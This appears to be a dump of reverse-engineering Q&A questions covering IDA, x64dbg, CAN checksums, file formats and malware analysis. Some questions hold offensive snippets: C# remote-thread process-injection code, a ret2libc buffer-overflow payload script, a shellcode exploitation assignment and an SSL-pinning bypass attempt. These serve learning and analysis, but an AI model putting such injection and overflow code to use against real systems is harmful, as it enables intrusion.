+                    threadhwnd = CreateRemoteThread(hwnd, 0, 0, addre, 0, 0, ref threadid);
+                    int res = WaitForSingleObject(threadhwnd,3000);
+                    VirtualFreeEx(hwnd, addre, data.Length, MEM_RELEASE);
+                    CloseHandle(threadhwnd);
+                    CloseHandle(hwnd);
+
+                }
+            }
+        }
+
+Thank you in advance! +" +"['ida', 'x64dbg']"," Title: Finding function in IDA from x64dbgBody: I've found a function I want to call in x64dbg, and wanted to see it's prototype and how it looks like in IDA. However, I was expecting to see a function in IDA but land in the middle of one. +The function I want to call in x64dbg: +I was expecting I could find the static address in IDA doing like so: +RVA: 881C0000 +Finding this statically in IDA: 0000000140000000 (base) + 1C88 (RVA) yielding: 140001C88 +When seaching for address 140001C88 in IDA I land in the middle of a function, sub_140001B80. I was expecting to land at something like sub_140001C88 Can someone see what I'm doing wrong? + +(FYI: I'm trying to call a function that presses a button) +" +"['windows', 'malware', 'obfuscation', '.net', 'exe']"," Title: new to malware analysis and disassembly. dotpeek has been helpful. is this unreadable code due to SuppressIldasmAttribute?Body:

just getting into rev engineering malware. i want to get to source on my own. i could use run.any or VT but that's no fun. any reason why this is unreadable the way it is? is it due to the module SuppressIldasmAttribute? feel free to cringe at my questions. and thank you to anyone that takes the time to help. here is some of the code from dotpeek so you can see what I'm getting back.

+// Decompiled with JetBrains decompiler +// Type: +// Assembly: rgdfgdfg, Version=1.9.2.1, Culture=neutral, PublicKeyToken=null +// MVID: 59450446-F2C7-4225-B831-8B4909494F7E +// Assembly location: C:\Users\ryank\Desktop\Malware_Samples\PastebinPayload\HWWKFile.exe +using System; +using System.IO; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +internal class \u003CModule\u003E +{ +private static byte[] ѢﬧѡﬦﬣﬧשׁﬨשׁѠѠѡשׁѠѣﬨѡѣѡѤﬧﬠﬣﬣѢѡѡﬤѡﬨѠѣﬥѠﬤ\uFB29ﬨﬤﬣﬡbnlVMImALUAXucSYKZSYsqgmdhsGA\u007B\u007B_\u0029V15r\u003C\u0021kLW\u003ENdX\u003C\u0024\u007D\u0022\u003C\u005Bo\u002B; +static \u003CModule\u003E.ѥﬥѡѠﬠѥﬣﬣﬥﬨﬠﬡ\uFB29ѥﬣﬢѠѢѢﬠﬦѠﬢѥѥѥﬢѤﬤﬦѤﬠﬣﬧѠ\uFB29\uFB29שׁﬡflxShkcwFFVAPdOfCzepHwOVWfaE\u002433\u0040o\u0022\u003BFv6\u002Bg\u002B6\u007C5sp9wD\u007EyC ﬣѤﬦﬢѢѢѡﬤﬣﬧﬢﬠѣﬠѢﬤﬠѠשׁѠ\uFB29ѥ\uFB29ѠﬧﬣﬢﬦﬧﬨﬣﬢﬡﬡѥﬡﬥﬤﬥﬡfQscSDUEIJNhHvHHiWXFWeKtNFvskUWP\u0027N\u0024\u003E\u003FL\u003D1\u002B_\u005E\u003Eh6XGD\u005Bg\u0026; internal static byte[] ѣﬠѤѢѠﬤשׁשׁﬡѣѢ\uFB29ﬨﬢѤשׁﬤﬣﬢѤﬡﬣ\uFB29Ѥ\uFB29ﬦѠﬤѡﬡﬡѣשׁﬢѣﬠﬢﬠﬨbssMtdECXrgBvOIKMujEzlplcZvmY\u003A\u007D\u007CSJa\u007C9\u002D12ML4IT\u005Esq5\u0021YL\u0022; internal static \u003CModule\u003E.ﬤ\uFB29\uFB29ﬦѠﬣﬣѥﬤﬨﬨѠѥﬦﬡѥѢﬦѣѢѣѣﬤ\uFB29שׁѡѣﬦﬡﬣﬧﬧѤﬥѥﬢѥﬡ\uFB29wEbxdRjWoqHCDKlqKsLbdJbFAixR\u0020s\u002A7L\u003B\u005D572l\u003F\u0029wv\u0021F\u007BMeZ\u0028\u0028Q\u0023 ﬠѠﬦﬤﬢﬦѢﬥﬨѢﬡﬠѢﬦﬧﬥﬠѢﬥѤ\uFB29ѠﬨשׁﬢѤﬢѥ\uFB29ﬧѥѤשׁﬦﬥѤﬢѣשׁWztnNkAwNHFRaniAlRkFgHLlyuvkPJ9m\u003DJW\u00254\u007E\u003Bg3d7b\u003C\u005B\u003FPKKgi\u0021; internal static Assembly ѥﬨѤﬡﬥﬡﬤﬨѢﬠѣѢѥﬤﬧѥﬡﬦѣﬧﬢﬠѠﬠѢﬡ\uFB29ѤﬥﬥﬢѢѠﬧﬠﬢѡﬢѥstBblIAkNABTObjujFJETiAegJxUA\u0026\u003Cpe\u0029f\u003FLB\u0027FKQQy\u007C\u003C\u00405nK\u007EJw\u0022; internal static \u003CModule\u003E.ﬥﬧѢѣﬥѠ\uFB29ѤﬢѢѣﬢﬧﬣשׁѠﬥﬦѠﬨ\uFB29ﬥѠﬡﬨѥﬤѠѥѢѣ\uFB29ﬢﬠﬡﬤﬢѤﬤPBUjQBqDxlPPWLlUjmxzDRkTbdIInTNA\u005CA\u0024C\u0028bx\u0021\u0025\u003E\u003FYg5BsRoU\u002D\u0024 ﬡﬣﬡ\uFB29ﬠשׁﬣѣﬧﬣѠ\uFB29ﬢﬥﬥשׁѢﬢﬤשׁﬦﬠѢѤѥѠﬡѠ\uFB29ﬣﬣѠﬧﬤ\uFB29\uFB29ﬦѥﬧyVsFZntXHrdCYJeLmjtSgBamjxOmOxe\u003A\u007DQ\u002B\u003EI\u007D\u0023\u007C6\u005DmdBW\u002F\u007DIRH\u0025; +private static GCHandle ѢﬣﬥﬢשׁѣﬠﬨﬨשׁѠﬣﬦﬣﬥﬧﬥשׁﬦѢﬤѥѥﬠﬣﬤѥﬧѤﬣﬨﬣѢﬦѡﬢשׁѤﬦnJUXgIvjdASdQQDhYLNjwiuNcIPo\u003FD\u007E6\u0025aK0\u0040jtZaBf\u002D\u007D9\u0028kNfVd( +[In] uint[] obj0, +[In] uint obj1) +{ +// ISSUE: unable to decompile the method. +} +[STAThread] +[STAThread] +private static int ѡﬥﬧѠﬨѥѤﬥﬢﬨﬦѡﬨﬣѥﬢѢﬠﬡﬥѠѣשׁﬣѠﬤﬥﬤﬥ\uFB29ѠѢﬢﬦѠﬣﬥﬥﬡISKzKEdGfUOmdKDGJGVocSUOHPLB\u005Ct\u003B\u0022Ti\u007C\u0020\u0023\u003E\u0028\u005E6\u005Cc\u007EnanE2v\u003A\u0040( +[In] string[] obj0) +{ +// ISSUE: unable to decompile the method. +} +private static Assembly ѡѣﬦﬢשׁﬨﬠﬠѤѤѤѠשׁﬡ\uFB29ﬨѢﬦﬠﬢﬢﬡѥﬣשׁѡﬦﬣѥﬡѢﬢﬨﬡﬦѢﬧﬣѥzxSugbwvptbiOFZLTdkkVWBgTCTTijt\u0022\u002A5\u007Dq\u003BMJEt6p\u005DG\u003Bt\u0025I\u005C\u0040\u005E\u0025( +[In] object obj0, +[In] ResolveEventArgs obj1) +{ +// ISSUE: unable to decompile the method. +} +internal static byte[] ѡﬥѣﬤﬧ\uFB29ﬣﬠﬤѤѤѡﬥѡﬢﬤﬤﬠﬨﬢﬦ\uFB29ﬨﬠﬥﬠѠﬦﬣѡשׁѠﬦﬠѥѡ\uFB29ѢZyEhQghovjVWbJgGDnrmotBOZdVA2\u005Ds8\u005C\u002Aqm\u0027\u003A\u003F8ELqH\u003BKq2\u0027t\u003F\u0026( +[In] byte[] obj0) +{ +// ISSUE: unable to decompile the method. +} +static \u003CModule\u003E() +{ +\u003CModule\u003E.ﬢﬦﬦﬠѢ\uFB29ѣﬠѥﬢﬠﬡѠѢѥѢﬤ\uFB29ѣﬦ\uFB29ѠﬠﬠﬥﬢѡﬧﬣﬧﬣѠﬢ\uFB29\uFB29ѥѡﬥﬦSkDHyitoJRLTycHqdmhEdmaaAyLkH\u0029\u005CA1\u0020\u002F6\u007C\u003A\u003DGOS\u0020SSX7s\u003Bac\u002D\u0023(); +label_1: +int num1 = -1875365012; +while (true) +{ +uint num2; +switch ((num2 = (uint) (num1 ^ -271784619)) % 4U) +{ +case 0: +\u003CModule\u003E.ﬦשׁﬢﬢѣѠﬦﬧﬦשׁﬢѥﬥѠѣﬨѡѤשׁﬣﬤ\uFB29Ѣﬢﬤﬡѥ\uFB29ﬦﬨﬢѡѣﬢﬤﬧﬧѥwPLLzcwMdVwcfrvCmppXFPiMoZABMx0\u0024m1D7\u002C\u0022\u0028\u002C7\u002FWgyPpsXoh9(); +\u003CModule\u003E.ѢﬡﬢѡѢ\uFB29ﬨשׁѢﬨѥﬤ\uFB29ѣ\uFB29ﬦѥѥﬨﬦﬡﬨﬨѣﬨ\uFB29ﬨﬤѢѤﬤﬠѠﬨѠѠ\uFB29ѡﬡﬡApKPgUUOKblqtEevuuZlgtayWSpur\u00262q\u003Cf8\u0026\u005D\u005DFFW\u003F\u002DPgaaK\u007EOE\u0023(); \u003CModule\u003E.ﬧѣѢѥﬦﬡﬦѢﬣѡѤﬣ\uFB29ﬡѠﬢﬣ\uFB29ﬥשׁﬢѡѥﬦﬤﬡﬦѡﬧѢѠﬦﬨ\uFB29שׁѢשׁﬡﬢﬢuQPwBFIkAaoMtcDDQDtlidqOtQWjA7\u0021\u00234XKzX\u005DKI\u003FH\u003E_\u005D1e\u005BD\u0029Db\u002F(); +num1 = (int) num2 * -1151438799 ^ 62872991; +continue; +case 1: +\u003CModule\u003E.ﬧﬥﬣѡﬢ\uFB29ѤѤﬧѠѤﬨѥﬧﬤѠשׁﬡѥﬦﬧﬢﬠﬣѠﬧﬣѢשׁﬠѥѣﬦﬥѤﬥѡשׁשׁtIuygSaoMqiAuyaSuniGYsAaloiw\u002C6\u005BMJAyv7x\u0021\u007BU\u003E9\u003D5\u0029\u003E\u0025Of\u003B\u005B\u002D(); +num1 = (int) num2 * 1706151344 ^ 1056318149; +continue; +case 2: +goto label_3; +case 3: +goto label_1; +default: +goto label_6; +} +} +label_3: +return; +label_6:; +} +private static void ﬧѣѢѥﬦﬡﬦѢﬣѡѤﬣ\uFB29ﬡѠﬢﬣ\uFB29ﬥשׁﬢѡѥﬦﬤﬡﬦѡﬧѢѠﬦﬨ\uFB29שׁѢשׁﬡﬢﬢuQPwBFIkAaoMtcDDQDtlidqOtQWjA7\u0021\u00234XKzX\u005D`KI\u003FH\u003E_\u005D1e\u005BD\u0029Db\u002F() +{ +// ISSUE: unable to decompile the method. +} +

private static void \uFB29\uFB29שׁѠﬢשׁﬠѤﬨﬤѢѤﬡѥѡѢѢﬧѠﬨשׁﬦѤﬤѣﬣﬤѢשׁﬠﬦѡѡѢﬠשׁﬦﬦ\uFB29mygDmwCKLtFLrCGPNtsYZSTckkAIb_\u0021aCoZ4b\u002C\u003C\u0028MFT\u002BQg\u0023nX\u002F\u003D9\u0023\u0027( +[In] object obj0) +{ +// ISSUE: unable to decompile the method. +}

+///most of the rest of the code has this //ISSUE and of course the code that is unreadable +here is where i found the SuppressIldasmAttribute module +
using System.Diagnostics;
+
+using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Runtime.Versioning; +// Assembly rgdfgdfg, Version=1.9.2.1, Culture=neutral, PublicKeyToken=null +// MVID: 59450446-F2C7-4225-B831-8B4909494F7E +// Assembly references: +// mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 +// Module references: +// kernel32.dll +[assembly: CompilationRelaxations(8)] +[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)] +[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)] +[assembly: AssemblyTitle("SuperSoft")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: ComVisible(true)] +[assembly: AssemblyFileVersion("1.9.2.1")] +[assembly: TargetFramework(".NETFramework,Version=v4.0", FrameworkDisplayName = ".NET Framework 4")] +[assembly: AssemblyVersion("1.9.2.1")] +[module: SuppressIldasm] +
+\\thank you anyone who takes the time to help. sorry if this hurt to read. +" +['debugging']," Title: What does ""???"" mean in x32dbg?Body: I see such things but I just couldn't understand. Do you have any ideas? +Thank you! + +" +"['crc', 'checksum']"," Title: Trying to find a checksum (possible CRC?) algorithm for CAN messages on a PorscheBody: I have the following problem. Besides CAN itself having a full checksum and stuff in the protocol, I have data sets where the first byte of the CAN message is some checksum generated in some unknown way and the second byte is some kind of counter. I have some examples and I am trying to find out how to calculate that first byte if I modify any data in the payload (bytes 3 through 8 of the CAN message). +How to read the data: +
timestamp canid length byte1 byte2 byte3 byte4... byte8
+
+I already verified that both the CAN ID and the length (total number of bytes) have an influence on the checksum, the time does not, so you can ignore the leading number (50.533 for example) +DATA SET 1: +
50.533 492      3 39 00 00                
+50.633 492      3 37 01 00                
+50.732 492      3 25 02 00                
+50.831 492      3 2B 03 00                
+50.931 492      3 01 04 00                
+51.030 492      3 0F 05 00                
+51.130 492      3 1D 06 00                
+51.229 492      3 13 07 00                
+51.329 492      3 49 08 00                
+51.428 492      3 47 09 00                
+51.527 492      3 55 0A 00                
+51.627 492      3 5B 0B 00                
+51.726 492      3 71 0C 00                
+51.826 492      3 7F 0D 00                
+51.925 492      3 6D 0E 00                
+52.025 492      3 63 0F 00                
+
+DATA SET 2: +
11.270 3C0      4 66 00 00 00             
+11.369 3C0      4 D3 01 00 00             
+11.469 3C0      4 23 02 00 00             
+11.568 3C0      4 96 03 00 00             
+11.668 3C0      4 EC 04 00 00             
+11.767 3C0      4 59 05 00 00             
+11.867 3C0      4 A9 06 00 00             
+11.966 3C0      4 1C 07 00 00             
+12.066 3C0      4 5D 08 00 00             
+12.166 3C0      4 E8 09 00 00             
+12.266 3C0      4 18 0A 00 00             
+12.365 3C0      4 AD 0B 00 00             
+12.465 3C0      4 D7 0C 00 00             
+12.564 3C0      4 62 0D 00 00             
+12.664 3C0      4 92 0E 00 00             
+12.763 3C0      4 27 0F 00 00             
+
+DATA SET 3: +
25.462 3C0      4 9B 00 23 00             
+25.561 3C0      4 2E 01 23 00             
+25.661 3C0      4 DE 02 23 00             
+25.760 3C0      4 6B 03 23 00             
+25.860 3C0      4 11 04 23 00             
+25.960 3C0      4 A4 05 23 00             
+26.059 3C0      4 54 06 23 00             
+26.159 3C0      4 E1 07 23 00             
+26.258 3C0      4 A0 08 23 00             
+26.358 3C0      4 15 09 23 00             
+26.458 3C0      4 E5 0A 23 00             
+26.557 3C0      4 50 0B 23 00             
+26.657 3C0      4 2A 0C 23 00             
+26.756 3C0      4 9F 0D 23 00             
+26.856 3C0      4 6F 0E 23 00             
+26.955 3C0      4 DA 0F 23 00          
+
+As you can see, data sets 2 and 3 only differ by that 0x23 byte in data spot 3 and the checksum is completely different for all 16 counter positions. +Anyone got a hint? I already tried reveng but could't come up with anything :( +" +['ida']," Title: How to remove OFF64 SEGDEF from IDA disassemblyBody: This has plagued me from IDA 6.5 to 7.5. +
.text:0000000143EFE8CD CC                     db 0CCh ; Ì OFF64 SEGDEF [_text,140CFC35B]
+
+It may not look like much, but when a conditional jump is placed over such a location, the result is debilitating. +
.text:0000000143EFE8B6 0F 8F 9F DA DF FC      jg      loc_143019000-231CCA5h
+
+Every instance creates an xref to the third .text segment at 0x143019000 along with multiple levels of chunk ownership, and Hexrays produces errors such as: +
143019029: control flows out of bounds to 14301902A
+143019007: control flows out of bounds to 143018FB1
+143019023: control flows out of bounds to 143018FCD
+
+I cannot remove, reproduce or detect the presence of these OFF64 SEGDEF lines, though the conditional jumps have the flag bit FF_0OFF set. +These OFF64 SEGDEFs appear where-ever an abs mov was previously (they're being replaced in a de-obfuscation process), the one in this question previously being: +
.text:0000000143EFE8CB 48 BA 5B C3 CF 40 01+  mov     rdx, offset loc_140CFC35B
+.text:0000000143EFE8CB 00 00 00
+
+Assembling an identical statement to another another location does not cause one to appear. +I have tried ida_bytes.del_items, ida_bytes.del_value (hides it, but it re-appears when repopulated), ida_bytes.del_mapping and some other things I don't recall. I've also tried forcing re-analysis with the bytes nopped over, though a need an IDAPython solution. +I've also tried some segment related functions in an effort to create a similar effect, in the hope the anything I know how to make I can then remove, but I failed in this effort also; my experience in segment-based assembly is minimal and from the 90's. +" +"['android', 'patching', 'networking', 'https-protocol']"," Title: SSL pinning deep problemBody: I'm working on one Android app for potential malware analysis and I am trying to MITM it. I found out that the verify function never executes (X509 class) when i hook onto my proxy but rather that app fails upon reaching this function +
SSLEngineResult unwrap = this.f13022c.f13031h.unwrap(byteBuffer, a2);
+
+This object is part of javax.net.ssl.SSLEngineResult +The exception that this function triggers is javax.net.ssl.SSLHandshakeException: Handshake failed. I had feeling that they check system proxy and if its present that they mess with byteBuffer but that wasn't the case. I attached proxy without serving self signed certificate and app works normally, just the moment i attach self signed certificate trough Fiddler, it crashes on this function and exception occurs. It seems like this entire proccess of handshaking is causing problems and i don't know why. Could it be that the app devs did this on purpose somehow on lower level or could it be that this function itself is not working properly with my certificate (which should be the case really) +Fiddler config + +" +"['windows', 'debugging', 'windbg', 'kernel']"," Title: How much of the kernel does remote kernel debugging allow you to debug?Body: This is a theoretical question because I've never set up remote kernel debugging before -- but I will do at some point, which should hopefully answer some of the experimental questions I have. +What happens if you put a breakpoint in the breakpoint trap handling or kdcom / kdnet itself +I can't find a single thing about this, but in the former case, wouldn't the CPU just freeze because the breakpoint is continually being hit without the remote debugger getting chance to remove the breakpoint or iretting to the instruction after the breakpoint. +Also, from what I'm seeing, it seems like a stack trace hides any of the trap handling, and shows the breakpoint as the top frame on the stack. +" +"['binary-analysis', 'file-format', 'binary', 'binary-format', 'binary-diagnosis']"," Title: What type of file has the file signature 'BOOT'?Body: I have a .bin file which I am trying to disassemble into something that I can edit. Given that binary files can contain just about any binary data, I found it difficult to assess what file data is actually in the .bin file. +After opening my file in a hex editor, I found that the file started with the data 42 4F 4F 54, which translates to BOOT. I feel like I've scoured the whole internet, but I can't find what type of file this is meant to be (I have a suspicion that the whole .bin file is just a renamed extension). I've even checked this Wikipedia page about file signatures to see if there was a match, but no luck. +Seeing as I had no luck with manually inspecting the hex data, I turned to binwalk. I ran it against my file, but the only data it managed to find was the following. As you can see, it only found HPACK data which, on a quick Google search, reveals almost nothing relevant to the binary data (my Google search found some info about HPACK archive data which is relevant to the HTTP/2.0 protocol, however I am almost positive my .bin file is relevant in some way to firmware, as it is one of the files on my calculator's hard drive). The most relevant info I was able to find about HPACK was this wiki page which specifies that the archive format was released in the 1990s, which makes more sense in relation to the age of my calculator, however still does not entirely solve my question of what the whole .bin file type is. +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+2627058       0x2815F2        HPACK archive data
+
+I will leave here the first 50 hex bytes of the file (parsed with HexEd.it), in case it helps the identification process.. +
00000000 42 4F 4F 54:00 00 00 38|11 46 D0 08:56 33 00 01
+00000010 60 00 D0 04:FF FF FF FF|FF FF FF FF:AD 01 60 2C
+00000020 53 50 49 46:32 30 31 31|31 31 30 39:BD 03 7E 24
+00000030 48 02
+
+I wish to gain more insight about what type of data this file contains, and if it is possible to identify what the file type is from the BOOT file signature. If it is possible to identify it, then what file type is the data? +" +"['assembly', 'stack', 'struct', 'stack-variables', 'offset']"," Title: troublesome stack frame setupBody: I have a function with the first few instructions defined as follows: +
sub  rsp, 0x80
+lea  rbp, [rsp + 0x20]
+mov  qword [rbp + 0x58], rsi
+mov  qword [rbp + 0x50], rbx
+mov  qword [rbp + 0x70], rcx
+mov  dword [rbp + 0x78], edx
+mov  eax, dword [rbp + 0x78]
+test eax, eax
+
+So, in order we have: +
    +
  1. stack frame of 0x80 -- fine
  2. +
  3. some kind of structure at RSP+0x20 -- probably
  4. +
  5. set some member of RBP at offset 0x58 to RSI
  6. +
  7. the same for offset 0x50
  8. +
  9. the same for offset 0x70 -- wait what? RBP+0x70 is 0x10 bytes beyond our stack frame.
  10. +
+It seems like we have an on-stack structure at RBP yet it's accessing data from the caller's frame. If we were accessing data from the caller, I would have expected the compiler to use one base register for the current function (as we saw with the RBP usage) and then another register for the caller's data offsets, say some offset from RSP. I understand the compiler isn't required to follow that pattern, so my question is: +Is there some C or C++ that could generate this assembly sequence in practice or am I looking at weird obfuscated code? +EDIT: +This is a windows binary. There are two parameters to this function, RCX and RDX. +" +"['radare2', 'stack']"," Title: Radare2 does not reload payload correctlyBody: I'm new to Radare2 so i'm trying to learn it by doing some basic buffer overflows. My problem is that, when i try to load some payloads, the stack seems to fake them in some differents ways... +For example, trying to load the input by invoking a simple python script +
import struct
+
+def p (x):
+    return struct.pack('<I',x)
+
+param = ""
+param += "A"*30
+
+param += p(0xb7e40db0)
+param += p(0xb7e349e0)
+param += p(0xb7f61b0b)
+
+print param
+
+And using this for run it. +r2 -d bufferoverflow `python payload.py` +I get this stack when overflows. + +I don't use to get any problem by running it this way +However, when i've set some breakpoints, customize some views in order to be more confortable, I've try to reload the file by using "dor" and "doo" commands from Radare2 + +But now Radare2 seems to start faking the stack with some random values... + +I'm not sure if it's a problem of mine because i'm doing it the wrong way, or if it's caused by a Radare2 behavior that i don't know. + +" +"['file-format', 'audio']"," Title: Cannot find audio file typeBody: I'm trying to find the audio file type of this file (extension wtj) around 8 minutes). I extracted it from a music box. +I've tried many things: + +The files size are between 11MB to 46 MB for something like 16 minutes and between 5MB to 18MB for the short version (8 minutes). So I guess that it is compressed. I don't think it is encrypted because in the hex version, the starting sequence is repeated 41 times (unless the encryption key length is a multiple of the starting sequence). +Now I am stuck. Do you have any idea where I can dig? +" +"['serial-communication', 'sniffing']"," Title: Is it possible to see the traffic on Virtual COM Port to reverse engineer how a device works?Body: I have a USB device that when connected into the computer ends up showing up as 4 Virtual COM ports in the device manager. As far as I know, two of these are never used. One of them is seldom used and one is mostly used. This is from the perspective of the application that is used with this device. I want to see the traffic on these COM ports and find out how this device works. I have Windows 10 64-bits. +I just need to monitor the traffic and no read or write anything myself. I think this is called a "man in the middle" approach. How do this using software on PC? +" +"['patching', 'c#', 'dnspy']"," Title: How to patch C# binary?Body: I have C# binary. I was able to use dnSpy to decompile it, and analyze. The binary was obfuscated with xenocode obfuscator. +I figured out that I can directly manipulate IL instructions if I just find correct instruction offset, and replace instruction byte(s). +Original bytes and C# code (replaced with letters so it is readable): +
a.b().c.d = (int)e.f;
+
+ 06 6F A0010006 6F 9302000A
+ ^  ^  ^        ^  ^-------- T2
+ |  |  |        \----------- callvirt to set_d
+ |  |  \-------------------- T1
+ |  \----------------------- callvirt to get_f
+ \-------------------------- ldloc.0
+
+What I want to achieve and resulting bytes: +
a.b().c.d = 6;
+
+ 1C 00 00000000 6F 9302000A
+ ^  ^           ^  ^-------- T2
+ |  |           \----------- callvirt to set_d
+ |  |  
+ |  \----------------------- 5x nop, so the length of file is same
+ \-------------------------- ldc.i4.6
+
+I am able to decompile changed binary without error, and I can observe my changed instructions, but when binary executes this region, it dies. Any ideas? +" +"['windows-10', 'hypervisor']"," Title: Finding which binary (library, driver, etc) caused an event logBody: I found some events in the Windows Event Log, and I was wondering which binary caused them. +The event I am curious about is Event ID 27 from Hyper-V +
+Hyper-V launch failed; the Hyper-V boot loader was unable to allocate sufficient resources to perform the launch. +
+Any ideas on how to track which binary was in charge of emitting that event? I want to understand what resource is the one failing. +" +"['ida', 'dll-injection']"," Title: How can I view the output of printf calls without a console window?Body: I'm using IDA to poke around in an old video game and noticed there are lots of calls to the printf function: + +I can see in another function that dword_5CE914 is a bitmask comprising various startup arguments (e.g. debug, nofullscreen, etc). As you may have guessed, 0x4000000 is the value that indicates the debug switch was present; despite enabling this, there is no visible debug output. +As someone new to software programming, I assume that during the game's development the printf calls would have been outputting to a debugger/console window which were disabled for production. +My question is: how can I view the output now that there is no debugger window? +My current thought process would be to: +
    +
  1. Create a custom DLL containing a function to output arbitrary text to a .txt file
  2. +
  3. Inject the DLL into the game's address space
  4. +
  5. Hook into printf and pass the argument into my function which saves the output
  6. +
+Does that sound like a plausible approach, or can someone recommend a better way? +" +"['disassembly', 'gdb']"," Title: I'm confused about parameter in Printf functionBody: I'm trying to understand call conventions and such. I created a function with the source code +
#include <stdio.h>
+int main() {
+  int x = 9;
+  printf("%d\n", x);
+}
+
+ +The above screenshot is its disassembly. +I have two questions: +
    +
  1. Where does the 0x405044 come from?
  2. +
  3. Why does it store the contents of 0x405044 in the memory address of esp?
  4. +
+" +['debugging']," Title: Debug multithreaded program in X32dbgBody: I am still quite inexperienced in reverse engineering. I have a small program that establishes an HTTP connection to a server and send data via POST method to the servert. I see strings like Winhttp.dll, WinHttpOpen, WinHttpOpenRequest, etc. I have added breakpoints for all the commands I have found. However, the breakpoints never hit. I see that the program connects to the server and sends encrypted data via POST to the server. I see that the sample starts multiple threads. I'm guessing that I need to jump into the correct thread, right? If this is true, how do I do this in X32dbg? I this sample I have set breakpoint at 12345678 and abababab. These addresses are pseudo adresses. +
12345678 | mov eax,sample.123343|String="winhttp.dll"
+abababab | mov eax,sample.5B33E0|String="WinHttpOpenRequest"
+...
+
+" +"['decompilation', 'dll', 'decryption', 'decompile', 'encodings']"," Title: How to retrieve the encryption key from a dll file?Body: I have a dll file that makes an http post request to a webserver , request looks something like this : +
UmdUsFrEB3wGMuuAz1Znywuedx6+ee9cHDyzqM3Gc0FW8TxKFitPfkoC23aJeW39rPhAIpkg7vyzYzRwsloEfUM3y1LnehrJVR5tQuoZ8EUa6uFgzFauuaiP1Ea9+lRg5OU
+
+i am not much of an expert but to me it looks like Base64 , but when i try and decode it using online decoders , most of them just gives an error that its not base64 format , and other decoders gives out Chinese characters, +and some gives results like this: +
RgT°ZÄ|2ë€ÏVgËžw¾yï\<³¨ÍÆsAVñ<J+O~JÛv‰ymý¬ø@"™ îü³c4p²Z}C7ËRçzÉUmBêðEêá`ÌV®¹¨ÔF½úT`äå
+
+I am assuming that its been encrypted and then encoded ? +if so then is there a way to decrypt it ? i opened the dll file in JustDecompile and it does give me readable code , but i am not sure where to look for the encryption method or key in the code +i did find out a certain part of decompiled code somewhat interesting though : +
    private byte[] (byte[] u0002, byte[] u0003)
+    {
+        byte[] numArray;
+        byte[] numArray1 = new byte[89];
+        ((Array)u0003).CopyTo((Array)numArray1, 0);
+        ((Array)u0002).CopyTo((Array)numArray1, 16);
+        if (0 == 0)
+        {
+            ((Array)Encoding.ASCII.GetBytes("MTRandom")).CopyTo(numArray1, 80);
+        }
+        do
+        {
+            numArray = (new MD5CryptoServiceProvider()).ComputeHash(numArray1);
+        }
+        while (3 == 0);
+        return numArray;
+    }
+
+    private new unsafe void (byte[] u0002)
+    {
+        void* length = (void*)stackalloc IntPtr[9];
+        this. = (ulong)0;
+        *(length + 4) = this. <= 1101;
+        if ((sbyte)(*(length + 4)) == 0)
+        {
+            . _u0001 = new .();
+            byte[] numArray = base.(8);
+            _u0001. = BitConverter.ToUInt16(numArray, 0);
+            _u0001. = BitConverter.ToUInt16(numArray, 2);
+            _u0001. = BitConverter.ToUInt16(numArray, 4);
+            _u0001. = BitConverter.ToUInt16(numArray, 6);
+            byte[] numArray1 = base.((int)_u0001.);
+            byte[] numArray2 = this.(numArray1, u0002, _u0001);
+            *length = null;
+            while (true)
+            {
+                if (((int)(*length) >= (int)numArray2.Length ? true : (int)numArray2.Length - (int)(*length) < 8))
+                {
+                    return;
+                }
+                byte[] numArray3 = new byte[8];
+                Array.Copy(numArray2, (int)(*length), numArray3, 0, 8);
+                *length = (int)(*length) + 8;
+                _u0001 = this.(numArray3, u0002);
+                *(length + 5) = (int)numArray2.Length - (int)(*length) < _u0001.;
+                if ((sbyte)(*(length + 5)) != 0)
+
+is it possible that this part of the code is responsible for encryption or is it the case of barking at the wrong tree? +" +['documentation']," Title: How do you document Reverse EngineeringBody: Currently I am working on a project in high school where I am talking about reverse engineering malware. I am currently all set on every topic except how reverse engineering is documented in a business setting. +Hopefully someone can give me some insight! +" +"['ida', 'windows']"," Title: Merging a large number of segments in IDA ProBody: I'm working with a memory dump of a protected win32 program. Something causing me a lot of pain is the program being split into roughly 3,000 contiguous small segments (i.e. instead of just .text and .data). This confuses IDA and causes functions to be randomly cut off, confusing the decompiler and causing various other issues. I have tried the method from this answer, but it seems to work only through the UI, idapython refuses to merge. It also takes a long time even for one merge. I tried a variant, where I, starting with the second segment, go through the segments, deleting the current segment and resizing the previous, but while small tests seemed promising, my database was messed up after several hours of running. +How can I merge these segments into one big segment? +Note: By "contiguous" I mean that every segment after the first has a start address equal to the previous segment's end address. Also, I do not care if comments and such are lost in the merging. +" +"['debugging', 'linux', 'buffer-overflow', 'shellcode']"," Title: Program goes to suspend when buffer overflow occursBody: Full disclosure: I am seeking help to complete a college assignment. I am seeking help on steps where I am stuck and unable to move forward, not a ready made answer. +I need to exploit it to get a shell with the help of a shellcode through buffer overflow. The program has some check to avoid debugging and sort of canary to avoid buffer overflow. When I bypass these two checks, in gdb, I am able to get the shell. +However in the shell the program is exhibiting a behavior that I am not able to understand. When I attempt to pass a long string, instead of generating a segmentation fault the program suspends/stops. +
$ ./prog $(python -c 'print "A" * 1000')
+
+[1]+ Stopped ./prog $(python -c 'print "A" * 1000')
+
+Inside gdb, however, the program does generate segmentation fault. Similarly, inside gdb I am able to get a shell but in the shell the program stops/suspends like above. Attempting to bring it to foreground using 'fg' doesn't work and I do not get any respone. I have to kill it from another terminal. +
$ file ./prog
+
+prog: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7bfd429ec2e2d445afeb557b9eead176f3136690, not stripped
+
+The output of ps when the program is stopped both due to my shellcode and by overflow: +
$ ps f
+PID TTY STAT TIME COMMAND
+3776 pts/0 Ss+ 0:39 -bash
+17774 pts/0 t 0:00 \_ AAAAAAAAAAAAAAA....
+28834 pts/0 t 0:00 \_ /bin//sh
+
